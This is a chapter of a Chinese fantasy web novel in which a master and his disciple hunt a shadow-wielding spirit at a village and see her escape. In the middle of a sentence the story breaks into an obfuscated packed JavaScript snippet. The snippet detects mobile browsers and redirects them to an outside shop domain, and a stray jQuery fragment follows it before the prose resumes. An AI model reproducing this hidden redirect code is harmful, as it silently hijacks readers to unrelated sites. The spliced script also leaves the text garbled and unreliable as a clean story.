农舍之内,堂屋并不算大,正对着户门是一长条案,其上只简单摆着牌位和香炉。案前一张八仙桌,看着有些陈旧却很是洁净。
大胡子招呼着要给两位仙君奉茶。雁南归整顿衣裳坐下,“无妨。”
“有妨有妨!”君红笺急吼吼接话:“劳驾大哥,要满满来上一海碗!”
说是火急火燎累坏了人,还真不是哄他们的。
“......”雁南归瞧着她被晒得满头大汗,额前碎发黏在脸上,黑亮的眸子打量四周。她转过身,高束的长发随之摇摆,扫过雁南归面前时,他垂眸任凭发丝拂过眉梢眉尾。再抬眼,就见君红笺恭恭敬敬地给牌位添了三支香。
不由地,雁南归在她身后勾起了嘴角。
像只狸花小猫,在外头飞檐走壁做英雄,行侠仗义时也不忘摇着尾巴宽慰人说:放心,包咪身上!
可转脸撞见大胡子看过来,他嘴角一僵,登时收敛了笑意,欲盖弥彰地喝了口茶。
君红笺大大咧咧横骑在长凳上,笑眯了眼同大胡子闲聊,从自己幼时上山打鸟下河摸鱼,聊到大胡子春时播种秋时收获,聊得大胡子没了愁容,聊得满屋只剩少女盈盈笑语。
雁南归插不上话,也没什么意愿搭话,他只坐在一旁安静听她侃天侃地,也如同大胡子一样眉眼舒缓。
大胡子放松下来,嘴上也开始没个把门的,憨笑道:“二位仙君原来是师徒啊,我们一群粗人,那会儿躲着偷看时,还以为是神仙眷侣下山,来替我们主持公道呢。”
雁南归:“......”
君红笺:“......”
脸色不太对。大胡子自知失言,恨不得抽自己几个嘴巴子,“对不住对不住,冒犯仙君了。”
雁南归又喝了口茶:“无妨。”
君红笺尴尬得挂不住笑:“有妨、有妨......”
不知过了多久,透过户门看时,外头的天都黑尽了。
八仙桌上烛台灯芯“啪”地轻爆一声,总算略微打破些别扭的气氛。君红笺撑着长凳往后一仰,“要有喜事了呀大叔,真人神仙显灵,着急告诉你此次终得圆满呢。”
还不等大胡子开口,一阵穿堂风来得猛烈,卷走八仙桌上仅有的烛火,留下满屋沉寂昏暗。
左等右等地白水素女终于来了。
君红笺登时站了起来,“师尊!”
身旁,雁南归嗓音持重清冽,“我在。”
君红笺抬手捏诀,面前浮现出碗大的明黄色法阵,繁琐符文在最外侧缓缓流转,法阵中央镌刻着连珠圆盘的纹样。她目光如炬,调动灵气打出法阵,法阵即刻便化作一道黄光窜出屋内。
寻迹阵,并非类似结界布置的阵法,而是专修阵道的玉宸阁为追踪精怪妖邪所创立。甭管多么难缠的东西,只要被打上此阵,在布阵者灵力耗尽之前是绝对摆脱不掉的,天涯海角黄泉碧落逃无可逃。
雁南归亲眼看着自家徒弟熟练地使用别家心决阵法,却好像意料之中。
白玉京内仙门众多,各宗门都有自家拿手的技艺大道。君红笺所在的无极司原是精修剑道,宗门上下都整整齐齐地持剑闯天下,不过吃百家饭总是有吃百家饭的好处,譬如现在,身为无极司的弟子,却能将玉宸阁的术法使得飞起。白玉京之外的术法君红笺藏着不在雁南归面前展示,白玉京之内的术法君红笺装也不装信手拈来地耍。
别问,问就是好学,什么都学。
随着阵法飞出,两人脚下生风追出去,留下一句:“待在屋子里,有什么动静都不要出来。”
屋外阡陌交错,四下悄无声息,唯有孤月高悬。偶有几只乌鸦扇动羽翅略过头顶,砸下一连串的哑哑声。月光洒在地上,映出模糊的两个影子。耳边倏地一声喑哑,却不见白水素女的身影,连带着寻迹阵也不知去向。
自东向西,隐约传来一阵戚戚促促的声响。
雁南归循声正要往前去,君红笺却扯住了他的衣袖。她视线下移,落在了雁南归的影子上。
本就不甚清晰的影子此时竟像泡在在水中一般,雁南归盯着自己的影子瞧了半晌,而后缓缓抬起一只手。影随身走,脚下黑乎乎的一片也依稀举起手。
怎料就在雁南归放下手之后,那影中之人仍旧高举,定睛一看,竟是凭空多了一条胳膊。
“影煞!”
君红笺刚反应过来,就被雁南归一把推开。她踉跄着后退半步,心中默念剑诀,下一刻踏霜剑就握在了手中。
所谓影煞,并非是魑魅魍魉妖邪精怪中的任何一类,而是被操纵的一种邪术,通过控制影煞悄无声息地潜入人的影子之中,在难以察觉之际逐步蚕食人的生气,直至将人整个吞掉。这原本是鲜为人知的术法,别说仙门之内,便在魔族中也是少见。后来白玉京接到个弟子任务,那弟子昂扬自信地下山到了地界,还没来得及见到妖邪的真面目,就叫其操控的影煞给吞了个干净。之后又是一番浩浩汤汤前赴后继的除妖,回来后就将这术法记录在册,叮嘱弟子们务必当心。
可这影煞自打那次弟子任务后就销声匿迹了,不知如今又是从哪里冒出来的。
君红笺暗道:白水素女可真是神通广大,前几趟来的弟子多半也是折在这影煞手里了。
可惜它这次盯上的是雁南归。
就见雁南归五指成爪,俯下身硬生生将那影煞从地里扣了出来。
君红笺:“?”
而后将那句“师尊当心”硬生生咽了下去。
白玉京大名鼎鼎的肃止仙君,飘逸长衫遗世独立,谁人评说都道此人装的很,做什么都是淡淡的。淡淡地待人接物,淡淡地降魔除妖,淡淡地......掐着影煞端详。
她阴恻恻站在雁南归身后,语气酸得掉牙,幽幽道:“师尊好小气,有这种招式却还藏私不教给我?”
雁南归淡淡地捏碎了影煞,茫然回头,“你要学?”
诚然,她现在只是个小小的白玉京弟子,比起无上仙域里的伏天仙尊,实乃天差地别。但是......但是!哪怕是做伏天仙尊的时候,也没有这样简单粗暴还直接有效的招式!
她不说话,她就梗着脖子从下往上瞪他。雁南归竟显得有些无措,指尖摩挲。
也不怪君红笺郁闷。她与旁人交情淡如水倒也罢了,可与雁南归名为师徒,关系却称得上一句寡淡至极。说来惭愧,这还是她两辈子头一回亲眼见到雁南归驭灵除妖。若不是雁南归对谁都是如此,君红笺当真要怀疑是不是自己哪里得罪了他,才叫他刻意躲着自己一般。
君红笺闷闷不乐地摆弄着踏霜剑。
如今看着自己的本命剑也不甚畅快了,又想学雁南归徒手抓妖,又气他什么都不教给自己。于是踏霜剑不乐意了,好歹也是上品灵剑一把,瞧瞧这寒玉雕琢的剑柄!瞧瞧这银光流转的剑身!瞧瞧这颤然铮鸣的剑尖!
等等——
君红笺顺着剑尖指向的地方看过去,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17563857|204642||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
皎皎月光下依旧是那身褴褛黑袍的白水素女,她将身形隐在桃溪村死寂的小道间,只露出那张笑得诡异的红唇。
寒光乍现,君红笺甩出剑气直逼白水素女,可眨眼间那白水素女就不见了踪迹,徒留剑气在原地擦起一片尘土飞扬。
白水素女再现身时便是一步数丈地袭来,卷着聒噪的呜咽声忽前忽后,合着残影直让人眼花缭乱。君红笺与雁南归同时提气,错身迎战。
且听一声嘶鸣,白水素女扬手召出数个影煞,形似烂泥糊成的人,软手软脚却追风逐电般朝着二人奔去。君红笺不避不躲,踏霜剑剑尖在地上划出道道冰痕,直至逼近了那些个影煞后抬手横扫而过。
呼吸间影煞们便从地里来又回地里去,君红笺脚步不停,手挽剑花嘴角带笑:“轮到你喽。”
虽是不比雁南归徒手抓妖叫人看得目瞪口呆,但其势绝不逊色半分。
白水素女见势不妙转身要逃,身后,雁南归单手凭空捻起一根弓弦,三支鸦青尾羽的灵箭“唰唰唰”朝着君红笺剑指的方向破空而去。只见一袭黑袍在幢幢农舍间穿梭,羽箭在其后穷追不舍。
君红笺抬手捏诀,寻迹阵猛然在白水素女身上显现出来,扯着她身形停滞,脚步慢了一瞬。
只这一瞬,三支羽箭随即飞去。一支擦过白水素女耳边直栽进农田,一支划破她手背后借着黑袍将她死死定在墙上,最后一支对准了她心口的位置扎下。眼瞅着羽箭就要刺穿白水素女,下一刻就见那支羽箭竟猝不及防地融进了白水素女的身体内。定住她的那支羽箭被她反手一握,竟也消失不见了。
“砰——”白水素女炸起好大一团黑烟,不见了。
君红笺:“......”
“跑了。”雁南归冷不丁开口。
“多谢师尊提醒,但我看到了。”君红笺气的想笑,掂着手里的踏雪剑想砸在地上又舍不得。她往白水素女消失的地方走过去,边走边碎碎念:“什么白水素女,吹得天上有地上无的,溜得倒是真快。”
她提着剑转了一圈察看。三支羽箭,如今就剩下一支直挺挺立在田里。
回过头,墙上空空如也。白水素女不见踪迹倒也罢了,怎么连带着那两支羽箭都消失得一干二净,半点灵气都不曾留下,只在墙上扎下一个小洞。
此前种种,诸多疑点。
田里那支羽箭忽而重新化为灵气,被雁南归收回袖间。君红笺顺着那星星点点的灵气将视线由田里转到雁南归身上,而后一拍脑袋豁然开朗。
“那根本就是个冒牌的。”
首先就是,一早在村口打退了白水素女,只剩灵气却不见其他。且不说桃溪村前前后后来了那么多仙门弟子,除去被影煞扣住的,单是那满地烧焦的符咒就知道,侥幸逃脱的其他弟子使符使阵使什么手段,那些除妖去祟的术法无论有没有中伤过白水素女,起码对这位白水素女来说根本就造不成什么实质性的威胁。
或者说,她根本就不是邪祟。
除了精怪,天生地养的田螺还有一类,通过纳气攒灵,将自己化作世间灵气的寄存体,又称灵枢子。
这就说得通为何桃溪村驱祟咒随处可见,她却能大摇大摆地闯进来。也说得通为何雁南归的羽箭能消失得一干二净,羽箭本就是灵气所制,对她而言那便是吃惯了的东西。
只是......
君红笺问:“她怎么就开始吸食人气了呢?”
雁南归答:“是殃气。”